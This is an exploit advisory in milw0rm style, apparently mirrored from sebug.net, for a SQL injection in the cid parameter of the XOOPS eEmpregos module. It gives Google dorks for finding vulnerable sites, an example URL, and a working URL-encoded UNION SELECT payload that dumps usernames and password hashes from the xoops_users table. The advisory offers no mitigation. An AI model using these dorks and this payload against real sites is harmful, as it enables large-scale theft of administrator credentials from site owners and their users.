XOOPS Module eEmpregos (cid) Remote SQL Injection Vulnerability

############################################################## # # XOOPS Module eEmpregos SQL Injection(cid) # ############################################################### # # AUTHOR : S@BUN # # HOME 1 : http://www.milw0rm.com/author/1334 # # MA陌L : hackturkiye.hackturkiye@gmail.com # ################################################################ # # DORK 1 : allinurl: "modules/eEmpregos/index.php" # # DORK 2 : allinurl: cid "modules/eEmpregos" # ################################################################ example http://xxxx/modules/eEmpregos/index.php?pa=view&cid=[exploit] EXPLOIT : -00000000%2F%2A%2A%2Funion%2F%2A%2A%2Fselect+0,1,concat(uname,0x3a,pass)/**/from%2F%2A%2A%2Fxoops_users/*/*where%20admin%201=%202 ################################################################ # S@BUN i AM NOT HACKER S@BUN ################################################################ # sebug.net